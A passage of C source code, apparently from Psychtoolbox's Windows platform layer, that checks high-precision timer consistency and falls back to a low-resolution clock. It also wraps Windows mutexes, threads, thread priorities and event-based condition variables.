// the timing checks aka skipCheck = TRUE.
// (Yes it is mind-bending -- thanks to Microsoft for such a shoddy and
// convoluted api.)
cpuMask = (DWORD_PTR) PsychAutoLockThreadToCores(NULL);
if (cpuMask && (oldCpuMask != (psych_uint64) cpuMask)) {
if (verbosity > 2) printf("PTB-DEBUG: Skipping clock checks due to affinity mask change detected [old %i vs. new %i].\n", (int) oldCpuMask, (int) cpuMask);
skipCheck = TRUE;
}
}
}
// Query system time of low resolution counter:
curRawticks = timeGetTime();
// Query Performance counter if it is supported:
if ((counterExists) && (0 == QueryPerformanceCounter(&count))) {
Timertrouble = TRUE;
printf("PTB-CRITICAL WARNING! Timing code detected problems with the high precision TIMER in your system hardware!\n");
printf("PTB-CRITICAL WARNING! A call to QueryPerformanceCounter() failed!\n");
printf("PTB-CRITICAL WARNING! It is NOT RECOMMENDED to continue using this machine for studies that require high\n");
printf("PTB-CRITICAL WARNING! timing precision in stimulus onset or response collection. No guarantees can be made\n");
printf("PTB-CRITICAL WARNING! wrt. to timing or correctness of any timestamps or stimulus onsets!\n");
printf("PTB-CRITICAL WARNING! Read 'help GetSecsTest' and run GetSecsTest for further diagnosis and troubleshooting.\n");
printf("PTB-CRITICAL WARNING! It may also help to restart the machine to see if the problem is transient.\n");
printf("PTB-CRITICAL WARNING! Also check the FAQ section of the Psychtoolbox Wiki for more information.\n\n");
}
// Skip inter-timer agreement checks below if query of both clocks took more than
// 1 msec, because that may mean the measured difference is unreliable due to
// scheduling delays or thread preemption:
if ((timeGetTime() - curRawticks) > 1) {
skipCheck = TRUE;
if (verbosity > 2) printf("PTB-DEBUG: Skipping clock checks due to time query duration > 1 msec.\n");
}
// Convert to ticks in seconds for further processing:
ticks = ((double) (psych_int64) curRawticks) * 0.001;
// Sanity check the low-precision timer for backwards jumps or wraparound:
if (ticks < tickInSecsAtLastQuery) {
// Wraparound or backwards jump detected!
// Skip inter-timer check, as it would likely detect a false positive:
skipCheck = TRUE;
if (verbosity > 2) printf("PTB-DEBUG: Skipping clock checks due to possible timeGetTime() wraparound or backwards jump.\n");
// If we are not currently running on the low-res timer, we leave it at this:
if ((!Timertrouble || !(failureHandlingModes & 0x4)) && counterExists) {
// Low-Res timer glitched / wrapped around, but we don't depend on it at
// the moment, so this temporary glitch should not matter. Tell user anyway:
if (failureHandlingModes & 0x1) {
printf("PTB-WARNING: Low precision timer glitch / wraparound detected. This won't matter if it\n");
printf("PTB-WARNING: is an isolated event. Otherwise you should reboot your system to maybe resolve the problem.\n");
printf("PTB-WARNING: Current time %f seconds < old time %f seconds.\n", ticks, tickInSecsAtLastQuery);
}
}
else {
// We depend on the glitching low-res timer at the moment. This is serious!
// We can't recover from this in any meaningful way. Abort session.
printf("PTB-CRITICAL ERROR: Low precision timer glitch / wraparound detected. Can't continue safely!\n");
printf("PTB-CRITICAL ERROR: Reboot your system to hopefully resolve the problem.\n");
printf("PTB-CRITICAL ERROR: Current reported time %f seconds < old time %f seconds.\n", ticks, tickInSecsAtLastQuery);
// Release timelock, so we do not deadlock during abort sequence:
LeaveCriticalSection(&time_lock);
// We can only safely abort on the master thread:
if (PsychGetThreadId() == masterThreadId) PsychErrorExitMsg(PsychError_user, "Abortion of Psychtoolbox session due to unfixable problems with system clock!");
// Secondary thread. Fudge it by returning infinite time:
*secs = DBL_MAX;
return;
}
// Recover from it as good as possible:
oldticks = ticks;
tickInSecsAtLastQuery = ticks;
}
// Keep track of last time measurement:
tickInSecsAtLastQuery = ticks;
// Start actual processing of result of QueryPerformanceCounter(). We do this here,
// deferred under protection of the time_lock lock.
if (counterExists) {
ss = ((double)count.QuadPart)/((double)counterFreq.QuadPart);
timeInSecsAtLastQuery = ss;
// Initialize base time for slow consistency checks at first invocation:
if (firstTime) {
lastSlowcheckTimeSecs = ss;
lastSlowcheckTimeTicks = ticks;
}
// Compute difference (disagreement over elapsed time since last call) between high-precision
// timer and low-precision timer:
diff = ((ss - oss) - (ticks - oldticks));
// We don't perform the inter-timer agreement check at first invokation - Thread scheduling etc. needs to settle,
// as well as the timeBeginPeriod(1) call above...
if (!Timertrouble && !firstTime && !skipCheck) {
// No timer problems yet. Perform checks:
// Is our high precision timer supposed to be healthy and we are asked to
// switch to the lowres timer in case of trouble?
if (!Timertrouble && (failureHandlingModes & 0x4)) {
// Yes. We so far think our highres timer works fine, but one of our sibling
// Psychtoolbox mex files may have already spotted problems and may have
// switched to the low-res backup timer. If this were the case, then all mex
// files, including us, must immediately switch to the low-res timer as well,
// to avoid inconsistent use of timebases across Psychtoolbox modules. Such
// a switch request is signalled by the existence of a special "signalling
// environment variable "PSYCH_LOWRESCLOCK_FALLBACK". Check if the variable is defined:
if (getenv("PSYCH_LOWRESCLOCK_FALLBACK")) {
// Signalling variable set! We have to switch to lowres timer immediately:
Timertrouble = TRUE;
// We also need to compute a proper bias value for seamless remapping of
// high-res time to low-res time, so transition is as glitchfree as possible.
// We unfortunately cannot pass one common lowToHiBiasSecs value from the
// mex module which triggered the lowres timer transition to all slave modules,
// because communication the value without a way to synchronize access via a
// common mutex lock is inherently racy and could cause transmission of a corrupted
// value - or even a crash due to segfault. So each module calculates the bias on
// its own and we just hope all modules calculate a consistent value.
// This is inherently shaky as we are basically using a known-to-be-faulty timer
// to calculate a bias value to workaround the faulty timer. If timer faults are
// transient, we may get away with this ok. If they are frequent or permanent, we
// may just have found a more elaborate way to fail as badly as if we would not
// switch to a backup at all. Such is life...
lowToHiBiasSecs = ss - ticks;
// Assign time value ss a last time:
*secs = ss;
// Clear the firstTime flag - this was the first time, maybe.
firstTime = FALSE;
// Tell user about switch:
if (failureHandlingModes & 0x1) {
printf("PTB-INFO: Timing system of one mex module switching to low-resolution timer now (RemapBias = %f seconds).\n", lowToHiBiasSecs);
}
// Need to release our timelock - Done with access to shared data:
LeaveCriticalSection(&time_lock);
// Exit here. The next call will go through the "Timertrouble == TRUE"
// low-resolution timer fallback path.
return;
}
}
// Time running backwards?
// We allow for a slack of backwardTimeJumpTolerance seconds. Not sure if this is a good idea, as it weakens the test
// to avoid aggressive fallback on flaky but sort of still useable hardware. Some modern cpu's showed
// this effect, but the fallback would have been worse...
if (ss < (oss - backwardTimeJumpTolerance)) {
Timertrouble = TRUE;
if (failureHandlingModes & 0x1) {
printf("PTB-CRITICAL WARNING! Timing code detected problems with the high precision TIMER in your system hardware!\n");
printf("PTB-CRITICAL WARNING! Apparently time is reported as RUNNING BACKWARDS. (Timewarp Delta: %0.30f secs.)\n", ss - oss);
printf("PTB-CRITICAL WARNING! The current threshold for detecting this problem is %0.30f seconds.\n", backwardTimeJumpTolerance);
printf("PTB-CRITICAL WARNING! One reason could be a multi-core system with unsynchronized TSC's and buggy platform drivers.\n");
}
}
// The old and new high res. timer should not
// disagree in their increment since last call by more than forwardTimeJumpTolerance secs. If they do,
// this means that the high precision timer leaped forward, which indicates a faulty
// Southbridge controller in the machines host chipset - Not a good basis for high precision timing.
// See Microsoft Knowledge base article Nr. 274323 for further explanation and a list of known bad
// chipsets.
// We actually allow for an additional slack of 0.000200 seconds or 200 ppm for each
// elapsed second of the test interval. This to account for clock drift of up to 200 ppm
// between both clocks. According to some docs, 200 ppm drift are possible under MS-Windows!
if ( diff > ( forwardTimeJumpTolerance + ((ticks - oldticks) * 0.000200 ) ) ) {
// Mismatch between performance counter and tick counter detected!
// Performance counter is faulty! Report this to user, then continue
// by use of the older tick counter as a band-aid.
Timertrouble = TRUE;
if (failureHandlingModes & 0x1) {
printf("PTB-CRITICAL WARNING! Timing code detected a FAULTY high precision TIMER in your system hardware!(Delta %0.30f secs).\n", diff);
printf("PTB-CRITICAL WARNING! Seems the timer sometimes randomly jumps forward in time by over %f msecs!\n", forwardTimeJumpTolerance * 1000);
printf("PTB-CRITICAL WARNING! This indicates a hardware defect, hardware design flaw, or serious misconfiguration.\n");
printf("PTB-CRITICAL WARNING! For more information see Microsoft knowledge base article Nr. 274323.\n");
printf("PTB-CRITICAL WARNING! http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q274323&\n\n");
}
}
// We check for lags of QPC() wrt. to tick count at intervals of greater than 1 second, ie. only if
// this query and the last one are at least 1 second spaced apart in time. This is kind of a low-pass
// filter to account for the fact that the tick counter itself can sometimes lose a bit of time due
// to lost timer interrupts, and then jump forward in time by a couple of milliseconds when some
// system service detects the lost interrupts and accounts for them by incrementing time by multiple
// ticks at a single IRQ. Here we check over a longer period to make it less likely that such transients
// show up. We apply a much more generous lag threshold as well, so we can compensate for transient timer
// jumps of up to 50 msecs.
if ((ticks - lastSlowcheckTimeTicks) >= 1.0) {
// Check for lags: A lag of multiple msec is normal and expected due to the measurement method.
diff = ((ss - lastSlowcheckTimeSecs) - (ticks - lastSlowcheckTimeTicks));
// Let's check for a lag exceeding 5% of the duration of the check interval, so we have a bit of headroom to the expected lag:
if (diff < -0.05 * (ticks - lastSlowcheckTimeTicks)) {
// Mismatch between performance counter and tick counter detected!
// Performance counter is lagging behind realtime! Report this to user, then continue
// by use of the older tick counter as a band-aid.
Timertrouble = TRUE;
if (failureHandlingModes & 0x1) {
printf("PTB-CRITICAL WARNING! Timing code detected a LAGGING high precision TIMER in your system hardware! (Delta %0.30f secs).\n", diff);
printf("PTB-CRITICAL WARNING! Seems that the timer sometimes stops or slows down! This can happen on systems with\n");
printf("PTB-CRITICAL WARNING! processor power management (cpu throttling) and defective platform drivers.\n");
printf("PTB-CRITICAL WARNING! Please try if disabling all power management features of your system helps...\n");
}
}
// Update timestamps of last check:
lastSlowcheckTimeSecs = ss;
lastSlowcheckTimeTicks = ticks;
}
if (Timertrouble) {
// Faulty high precision clock detected.
// Has this fault occured while thread was not locked to cpu core zero and
// are we asked to try the lock-to-core-zero workaround first?
if ((failureHandlingModes & 0x2) && (cpuMask != minAffinityCore)) {
if (failureHandlingModes & 0x1) {
// More info for user at first detection of trouble:
printf("PTB-CRITICAL WARNING! Trying to resolve the issue by locking processing threads to one single processor core.\n");
printf("PTB-CRITICAL WARNING! This may help working around the system bug, but it will degrade overall timing performance.\n");
}
// Set cpuMask to lock to first viable processor core:
cpuMask = minAffinityCore;
// Make sure other PTB modules notice this as well:
_putenv_s("PSYCH_CPU_MASK", "1");
// Relock thread to new cpuMask:
PsychAutoLockThreadToCores(NULL);
// Redundant relock to query effective cpuMask -- which is returned
// as the "old" cpuMask:
cpuMask = (DWORD_PTR) PsychAutoLockThreadToCores(NULL);
// Reset timertrouble flag. On next failure, we won't get away with
// this workaround.
Timertrouble = FALSE;
}
else {
// Switch to low-res timer as a workaround requested?
if (failureHandlingModes & 0x4) {
// We switch to the low-res clock for the rest of the session, in the hope that
// the low-res clock is less broken than the high-res clock.
// We need to make the switch as seamless as possible. As the low-res and high-res clocks have different "zero seconds"
// reference points, we need to compute the absolute offset between both and then apply that offset to the reported low
// res clock time to compensate for it. This should reduce any jumps or jerks in the monotonic system time as perceived
// by clients of this function, especially the PsychWaitUntilSeconds() and PsychWaitIntervalSeconds() functions, which
// could hang for a very long time if the switch between high-res and low-res clock happens at the wrong moment.
lowToHiBiasSecs = ss - ticks;
// Announce to ourselves and all other modules that we all should
// switch to the low-res timer:
_putenv_s("PSYCH_LOWRESCLOCK_FALLBACK", "1");
if (failureHandlingModes & 0x1) {
printf("PTB-CRITICAL WARNING! Will switch to a lower precision backup timer with only +/- 1 msec precision to try\n");
printf("PTB-CRITICAL WARNING! to keep going, but this may fail or cause various timing problems in itself.\n");
}
}
if (failureHandlingModes & 0x1) {
// More info for user at first detection of trouble:
printf("PTB-CRITICAL WARNING! It is NOT RECOMMENDED to continue using this machine for studies that require high\n");
printf("PTB-CRITICAL WARNING! timing precision in stimulus onset or response collection. No guarantees can be made\n");
printf("PTB-CRITICAL WARNING! wrt. to timing or correctness of any timestamps or stimulus onsets!\n");
printf("PTB-CRITICAL WARNING! Read 'help GetSecsTest' and run GetSecsTest for further diagnosis and troubleshooting.\n");
printf("PTB-CRITICAL WARNING! It may also help to restart the machine to see if the problem is transient.\n");
printf("PTB-CRITICAL WARNING! Also check the FAQ section of the Psychtoolbox Wiki for more information.\n\n");
}
// Critical abort requested on real unrecoverable timertrouble?
if (failureHandlingModes & 0x8) {
printf("PTB-CRITICAL ERROR: Usercode requested abortion of session if high-precision timer is detected as faulty\n");
printf("PTB-CRITICAL ERROR: and can't get fixed by simple workarounds. This is the case. Aborting...\n");
// Release timelock, so we do not deadlock during abort sequence:
LeaveCriticalSection(&time_lock);
// We can only safely abort on the master thread:
if (PsychGetThreadId() == masterThreadId) PsychErrorExitMsg(PsychError_user, "Abortion of Psychtoolbox session due to unfixable problems with system clock!");
// Secondary thread. Fudge it by returning infinite time:
*secs = DBL_MAX;
return;
}
}
}
}
// Make sure that reported high precision time never runs backward. If it did
// run backward due to malfunction, set it to old time. Reporting back a "frozen time"
// is still better than negative elapsed time, because usercode and other ptb routines
// are expected to handle a zero time increment -- it can happen in regular use if the
// elapsed time between two time queries is smaller than the clock resolution. Negative
// time however is unexpected.
ss = (ss >= oss) ? ss : oss;
// All checks done: Prepare old values for new iteration:
oss = ss;
oldticks = ticks;
// Ok, is the timer finally considered safe to use?
// Or alternatively does usercode want us to use it even if problems were detected?
if (!Timertrouble || !(failureHandlingModes & 0x4)) {
// All checks passed, or override active: ss is the valid return value:
ss = ss;
}
else {
// Performance counter works unreliably: Fall back to result of timeGetTime().
// This only has 1 msec resolution at best, but at least it works (somewhat...).
//
// Correct for time bias between low-res clock and high-res clock to fake a time
// that looks to clients as if it comes from the high-res clock, albeit with a lower
// resolution of only 1 msec at best:
ss = ticks + lowToHiBiasSecs;
}
// ========= End of high precision timestamping. =========
}
else {
// ========= Low precision fallback path for ancient machines: 1 khz tick counter: =========
// Apply lowToHiBiasSecs, so our time is consistent with the original time of the
// high precision timer and of other modules:
ss = ticks + lowToHiBiasSecs;
timeInSecsAtLastQuery = -1;
}
// Finally assign time value:
*secs= ss;
// Clear the firstTime flag - this was the first time, maybe.
firstTime = FALSE;
// Need to release our timelock - Done with access to shared data:
LeaveCriticalSection(&time_lock);
return;
}
void PsychGetAdjustedPrecisionTimerSeconds(double *secs)
{
double rawSecs, factor;
PsychGetPrecisionTimerSeconds(&rawSecs);
PsychGetPrecisionTimerAdjustmentFactor(&factor);
*secs=rawSecs * precisionTimerAdjustmentFactor;
}
void PsychGetPrecisionTimerAdjustmentFactor(double *factor)
{
*factor=precisionTimerAdjustmentFactor;
}
void PsychSetPrecisionTimerAdjustmentFactor(double *factor)
{
precisionTimerAdjustmentFactor=*factor;
}
/*
* PsychEstimateGetSecsValueAtTickCountZero()
*
* Note that the tick counter rolls over after a couple of months.
* Its theoretically possible to have machine uptime of that long
* but its extremely unlikely given that this is Microsoft Windows ;)
* so we don't worry about roll over when calculating.
*
*/
void PsychEstimateGetSecsValueAtTickCountZero(void)
{
double nowTicks, nowSecs;
nowTicks=(double) timeGetTime();
PsychGetAdjustedPrecisionTimerSeconds(&nowSecs);
estimatedGetSecsValueAtTickCountZero=nowSecs - nowTicks * (1/1000.0f);
}
double PsychGetEstimatedSecsValueAtTickCountZero(void)
{
return(estimatedGetSecsValueAtTickCountZero);
}
/* Returns value of timeGetTime() based timer (in seconds) last time the
* high precision timer was queried. This is a reference value for checking
* correctness of the high precision timer with external code.
* Windows specific, only used by GetSecs() for Windows...
*/
double PsychGetTimeGetTimeValueAtLastTimeQuery(double* precisionRawtime)
{
// Theoretically there is a potential race here, due to access to shared variables,
// but we don't lock here -- In practice this function is only used by GetSecs
// in special debug- and test scripts, where no parallel threading is active:
*precisionRawtime = timeInSecsAtLastQuery;
return(tickInSecsAtLastQuery );
}
/* Windows specific: Only used by GetSecs() - Return encoded timer healthy flags: */
unsigned int PsychGetTimeBaseHealthiness(void)
{
unsigned int v;
v=(Timertrouble) ? 1 : 0;
v+=(schedulingtrouble) ? 2 : 0;
return(v);
}
/* Return MS-Windows wall clock, with millisecond precision. Time is
* elapsed seconds since 00:00:00 at January 1, 1601 Coordinated Universal Time (UTC),
* measured with millisecond granularity.
*
* This clock is subject to manual adjustments by the sysadmin, but more importantly,
* it is subject to automatic drift correction by NTP and similar mechanisms.
*
*/
double PsychGetWallClockSeconds(void)
{
ULARGE_INTEGER nsecs;
FILETIME fileTime;
double wallSecs;
// Get system time (msecs precision, but expressed in 100ns ticks), UTC as FILETIME:
GetSystemTimeAsFileTime(&fileTime);
// Convert to 100-Nanoseconds-ticks format:
nsecs.u.LowPart = fileTime.dwLowDateTime;
nsecs.u.HighPart = fileTime.dwHighDateTime;
// Convert from 100 nanosecond ticks to microseconds, then after conversion
// to double format, to seconds with microsecond precision.
// Note: The input timestamps are millisecond precision/granularity
// only, so getting down to microseconds will not lose any precision.
wallSecs = ((double) (nsecs.QuadPart / 10)) / 1e6;
return(wallSecs);
}
/* No-Op function on MS-Windows atm. */
double PsychOSMonotonicToRefTime(double monotonicTime)
{
return(monotonicTime);
}
/* No-Op function on MS-Windows atm. */
double PsychOSRefTimeToMonotonicTime(double refInputTime)
{
return(refInputTime);
}
/* Init a Mutex: */
int PsychInitMutex(psych_mutex* mutex)
{
InitializeCriticalSection(mutex);
return(0);
}
/* Deinit and destroy a Mutex: */
int PsychDestroyMutex(psych_mutex* mutex)
{
DeleteCriticalSection(mutex);
return(0);
}
/* Lock a Mutex, blocking until mutex is available if it isn't available: */
int PsychLockMutex(psych_mutex* mutex)
{
EnterCriticalSection(mutex);
return(0);
}
/* Try to lock a Mutex, returning immediately, with a return code that tells if mutex could be locked or not: */
int PsychTryLockMutex(psych_mutex* mutex)
{
// Must #define _WIN32_WINNT as at least 0x0400 in master include file PsychIncludes.h for this to compile!
return((((int) TryEnterCriticalSection(mutex)) != 0) ? 0 : 1);
}
/* Unlock a Mutex: */
int PsychUnlockMutex(psych_mutex* mutex)
{
LeaveCriticalSection(mutex);
return(0);
}
/* Create a parallel thread of execution, invoke its main routine: */
/* FIXME: void* is wrong return argument type for start_routine!!! Works on Win32, but would crash on Win64!!! */
int PsychCreateThread(psych_thread* threadhandle, void* threadparams, void *(*start_routine)(void *), void *arg)
{
// threadparams not yet used, this line just to make compiler happy:
(void*) threadparams;
*threadhandle = (psych_thread) malloc(sizeof(struct psych_threadstruct));
if (*threadhandle == NULL) PsychErrorExitMsg(PsychError_outofMemory, "Insufficient free RAM memory when trying to create processing thread!");
(*threadhandle)->handle = NULL;
(*threadhandle)->threadId = 0;
(*threadhandle)->taskHandleMMCS = NULL;
// Create termination event for thread: It can be set to signalled via PsychAbortThread() and
// threads can test for its state via PsychTestCancelThread(), which will exit the thread cleanly
// if the event is signalled.
(*threadhandle)->terminateReq = NULL;
if (PsychInitCondition(&((*threadhandle)->terminateReq), NULL)) PsychErrorExitMsg(PsychError_system, "Failed to initialize associated condition/signal object when trying to create processing thread!");
// Create thread, running, with default system settings, assign thread handle:
(*threadhandle)->handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) start_routine, arg, 0, &((*threadhandle)->threadId));
// Successfully created?
if ((*threadhandle)->handle != NULL) {
// Yes. We lock the thread to set of cpu cores as specified by cpuMask to prevent possible TSC multi-core sync
// problems. On Vista and later, by default we faithfully hope that Microsoft and the vendors of "MS-Vista-Ready"
// PC hardware have actually solved that mess, i.e., non-broken hardware (or hardware with a HPET as primary
// time source) and proper HPET support and error handling in Vista et al's timing core. On such systems we
// don't lock to a core by default, so we can benefit from multi-core processing. Our consistency checks in PsychGetPrecisionTimerSeconds()
// should be able to eventually detect multi-core sync problems if they happen:
PsychAutoLockThreadToCores(NULL);
// Return success:
return(0);
}
// Failed! Return 1:
return(1);
}
/* Join a parallel thread - Wait for its termination, then return its result code: */
int PsychDeleteThread(psych_thread* threadhandle)
{
psych_uint32 rc;
// Join on the thread, wait for termination:
rc = (int) WaitForSingleObject((*threadhandle)->handle, INFINITE);
if (WAIT_FAILED != rc) {
// Retrieve exit code of terminated thread:
GetExitCodeThread((*threadhandle)->handle, &rc);
// Destroy its associated ressources:
CloseHandle((*threadhandle)->handle);
}
else {
printf("PTB-CRITICAL: In PsychDeleteThread: Waiting for termination of a worker thread failed! Prepare for trouble!\n");
}
// Release event/condition variable for signalling of terminate requests:
if (PsychDestroyCondition(&((*threadhandle)->terminateReq))) printf("PTB-CRITICAL: In PsychDeleteThread: Failed to destroy associated condition/signal object when trying to delete processing thread!");
// Null out now invalid thread handle of dead thread:
(*threadhandle)->handle = NULL;
(*threadhandle)->threadId = 0;
(*threadhandle)->terminateReq = NULL;
free(*threadhandle);
*threadhandle = NULL;
// Return return code of joined thread:
return((int) rc);
}
/* Send abort request to thread: */
int PsychAbortThread(psych_thread* threadhandle)
{
// This is an emergency abort call! Maybe should think about a "softer" solution for Windows?
// This is more like an option for a future PsychKillThread(): return( TerminateThread((*threadhandle)->handle, 0) );
// Signal the terminateReq condition variable/signal to politely ask the thread to terminate:
return(PsychSignalCondition(&((*threadhandle)->terminateReq)));
}
/* Check for abort request to thread: Exit thread gracefully if abort requested: */
void PsychTestCancelThread(psych_thread* threadhandle)
{
int rc;
// Test for signalled state of abort request event with zero timeout, ie., return immediately if
// non-signalled:
rc = (int) WaitForSingleObject((*threadhandle)->terminateReq, 0);
if (rc == WAIT_FAILED) {
rc = (int) GetLastError();
printf("PTB-CRITICAL: In call to PsychTestCancelThread(%p): WaitForSingleObject(%p) FAILED [GetLastError()=%i]! Expect disaster!!!", threadhandle, (*threadhandle)->terminateReq, rc);
return;
}
// Event state signalled? Otherwise we just return:
if (rc != WAIT_OBJECT_0) return;
// Signalled --> Terminate request: We terminate our calling thread with a zero exit code:
ExitThread(0);
}
/* Return thread id of calling thread:
*/
psych_threadid PsychGetThreadId(void)
{
psych_threadid threadid = (psych_threadid) GetCurrentThreadId();
return(threadid);
}
/* Check if two given thread handles do refer to the same thread: */
int PsychIsThreadEqual(psych_thread threadOne, psych_thread threadTwo)
{
return( threadOne->threadId == threadTwo->threadId );
}
/* Check if current (invoking) thread has an id equal to given threadid: */
int PsychIsCurrentThreadEqualToId(psych_threadid threadId)
{
return( PsychGetThreadId() == threadId );
}
/* Check if current (invoking) thread is equal to given threadhandle: */
int PsychIsCurrentThreadEqualToPsychThread(psych_thread threadhandle)
{
return( PsychGetThreadId() == threadhandle->threadId );
}
/* Change priority for thread 'threadhandle', or for the calling thread if 'threadhandle' == NULL.
* threadhandle == 0x1 means "Main Psychtoolbox thread" and may incur special treatment.
* 'basePriority' can be 0 for normal scheduling, 1 for higher priority and 2 for highest priority.
* 'tweakPriority' modulates more fine-grained within the category given by 'basepriority'. It
* can be anywhere between 0 and 2 where bigger means more priority.
*
* See http://msdn.microsoft.com/en-us/library/ms684247(VS.85).aspx for explanation of the MMCSS
* scheduling services on Vista and later. The short story is: A non-Administrator user can usually
* get no more than HIGH_PRIORITY scheduling for the Matlab/Octave process, and even for admin users,
* running with REALTIME_PRIORTY is usually too dangerous with most Psychtoolbox applications. If we
* are able to use MMCSS scheduling on Vista and later, we get something better than HIGH_PRIORITY,
* pretty close to REALTIME_PRIORITY, but with a safety net that should prevent disaster, assuming
* the Windows MMCSS service knows what it is doing...
*
* Returns zero on success, non-zero on failure to set new priority.
*/
int PsychSetThreadPriority(psych_thread* threadhandle, int basePriority, int tweakPriority)
{
int rc;
DWORD foo;
HANDLE thread;
if ((NULL != threadhandle) && ((psych_thread*) 0x1 != threadhandle)) {
// Retrieve thread HANDLE of thread to change:
thread = (*threadhandle)->handle;
}
else {
// Retrieve handle of calling thread:
thread = GetCurrentThread();
// Is this a special "Masterthread" pseudo-handle?
if ((psych_thread*) 0x1 == threadhandle) {
// Yes: This is the Psychtoolbox main thread calling. We don't have
// a "normal" psych_thread* threadhandle for this one, so we need to
// kind'a bootstrap one for this thread. Space for one handle for the
// masterthread is allocated at the top of this C file in
// masterPsychtoolboxThreadthreadhandle. It gets zero-filled on init,
// cleared/freed on exit.
threadhandle = &masterPsychtoolboxThreadhandle;
}
}
// If this is a MMCSS scheduled thread, we need to revert it to normal mode first:
if (AvrtSupported && (NULL != threadhandle) && ((*threadhandle)->taskHandleMMCS)) {
PsychAvRevertMmThreadCharacteristics((*threadhandle)->taskHandleMMCS);
(*threadhandle)->taskHandleMMCS = NULL;
}
switch(basePriority) {
case 0: // Normal priority.
rc = SetThreadPriority(thread, THREAD_PRIORITY_NORMAL + tweakPriority);
if (rc == 0) {
rc = GetLastError(); // Failed!
}
else {
rc = 0;
}
break;
case 1: // High priority / Round robin realtime.
rc = SetThreadPriority(thread, THREAD_PRIORITY_ABOVE_NORMAL + tweakPriority);
if (rc == 0) {
rc = GetLastError(); // Failed!
}
else {
rc = 0;
}
break;
case 2: // Highest priority: This preempts basically any system service!
if ((rc = SetThreadPriority(thread, THREAD_PRIORITY_TIME_CRITICAL)) == 0) {
// Failed to get TIME_CRITICAL priority!
// Try to get as close as possible to TIME_CRITICAL. On Vista and later,
// we can try to abuse MMCSS scheduling to get to a pretty high priority,
// certainly higher than HIGHEST, close to TIME_CRITICAL:
if (AvrtSupported && (NULL != threadhandle)) {
foo = 0;
(*threadhandle)->taskHandleMMCS = PsychAvSetMmMaxThreadCharacteristics("Pro Audio", "Capture", &foo);
if ((*threadhandle)->taskHandleMMCS) {
// Success! Apply tweakPriority as well...
PsychAvSetMmThreadPriority((*threadhandle)->taskHandleMMCS, tweakPriority);
rc = 0;
// printf("PTB-DEBUG: CLASS 2 Call to PsychAvSetMmMaxThreadCharacteristics() for Vista-MMCSS scheduling SUCCESS for threadhandle %p.\n", threadhandle);
}
else {
// Failed! Retry with HIGHEST priority:
rc = SetThreadPriority(thread, THREAD_PRIORITY_HIGHEST + tweakPriority);
// printf("PTB-WARNING: Call to PsychAvSetMmMaxThreadCharacteristics() for Vista-MMCSS scheduling failed for threadhandle %p. Setting thread priority to HIGHEST as a work-around...\n", threadhandle);
}
}
else {
// MMCSS not supported on pre-Vista system, or thread not eligible for MMCSS.
// Retry with HIGHEST priority, the best we can do on pre-Vista:
rc = SetThreadPriority(thread, THREAD_PRIORITY_HIGHEST + tweakPriority);
}
}
if (rc == 0) {
rc = GetLastError(); // Failed!
}
else {
rc = 0;
}
break;
case 10: // MMCSS scheduling: Vista, Windows-7 and later only...
if (AvrtSupported && (NULL != threadhandle)) {
foo = 0;
(*threadhandle)->taskHandleMMCS = PsychAvSetMmMaxThreadCharacteristics("Pro Audio", "Capture", &foo);
if ((*threadhandle)->taskHandleMMCS) {
// Success! Apply tweakPriority as well...
PsychAvSetMmThreadPriority((*threadhandle)->taskHandleMMCS, tweakPriority);
rc = 0;
// printf("PTB-DEBUG: CLASS 10 Call to PsychAvSetMmMaxThreadCharacteristics() for Vista-MMCSS scheduling SUCCESS for threadhandle %p.\n", threadhandle);
}
else {
// Failed! Retry with HIGHEST priority:
if (HIGH_PRIORITY_CLASS != GetPriorityClass(GetCurrentProcess())) {
// This really is realtime priority, so we're pushing:
rc = SetThreadPriority(thread, THREAD_PRIORITY_HIGHEST);
} else {
// Go a bit lower than THREAD_PRIORITY_HIGHEST, so other important
// threads, e.g., the userspace callback thread of an audio device
// driver has a chance of getting enough cpu time. We do this because
// Windows doesn't distinguish between THREAD_PRIORITY_HIGHEST and
// THREAD_PRIORITY_TIME_CRITICAL while the process is in priority
// class HIGH_PRIORITY_CLASS:
rc = SetThreadPriority(thread, THREAD_PRIORITY_ABOVE_NORMAL);
}
printf("PTB-WARNING: Call to PsychAvSetMmMaxThreadCharacteristics() for Vista-MMCSS scheduling failed for threadhandle %p. Setting thread priority to HIGHEST as a work-around...\n", threadhandle);
}
}
else {
// MMCSS not supported on pre-Vista system, or thread not eligible for MMCSS.
// Retry with HIGHEST priority, the best we can do on pre-Vista:
if (HIGH_PRIORITY_CLASS != GetPriorityClass(GetCurrentProcess())) {
// This really is realtime priority, so we're pushing:
rc = SetThreadPriority(thread, THREAD_PRIORITY_HIGHEST);
} else {
// See rationale above:
rc = SetThreadPriority(thread, THREAD_PRIORITY_ABOVE_NORMAL);
}
}
break;
default:
printf("PTB-CRITICAL: In call to PsychSetThreadPriority(): Invalid/Unknown basePriority %i provided!\n", basePriority);
rc = 2;
}
// rc is either zero for success, or 2 for invalid arg, or some other non-zero GetLastError() failure code:
return(rc);
}
/* Assign a name to a thread, for debugging: */
void PsychSetThreadName(const char *name)
{
// No-op for now.
(void) name;
return;
}
/* Initialize condition variable:
* CAUTION: Use of condition_attribute is not supported! Code using it may or may not work properly
* on MS-Windows! Pass NULL for this argument for portable operation!
*/
int PsychInitCondition(psych_condition* condition, const void* condition_attribute)
{
// Catch unsupported use of condition_attribute and output warning:
if (NULL != condition_attribute) PsychErrorExitMsg(PsychError_unimplemented, "Tried to pass a condition_attribute in call to PsychInitCondition()! Unsupported on MS-Windows!!");
// Create properly initialized event object: Will return NULL on failure.
*condition = CreateEvent(NULL, // default security attributes
FALSE, // auto-reset event: This would need to be set TRUE for PsychBroadcastCondition() to work on Windows!
FALSE, // initial state is nonsignaled
NULL // no object name
);
// Return 0 on success, GetLastError() error code on failure:
return((int) ((*condition == NULL) ? GetLastError() : 0));
}
/* Destroy condition variable: */
int PsychDestroyCondition(psych_condition* condition)
{
return((int) ((CloseHandle(*condition) == 0) ? GetLastError() : 0));
}
/* Signal/wakeup exactly one thread waiting on the given condition variable: */
int PsychSignalCondition(psych_condition* condition)
{
return((int) ((SetEvent(*condition) == 0) ? GetLastError() : 0));
}
/* Signal/Wakeup all threads waiting on the given condition variable:
* CAUTION: Use of this function is non-portable to MS-Windows for now! Code
* using it will malfunction if used on MS-Windows!
*/
int PsychBroadcastCondition(psych_condition* condition)
{
// Abort for now: PulseEvent(), besides being flaky anyway, would need Event objects
// with the auto-reset property set to TRUE. We don't support this, neither can we
// support intermixing calls to PsychSignalCondition() with calls to PsychBroadcastCondition()
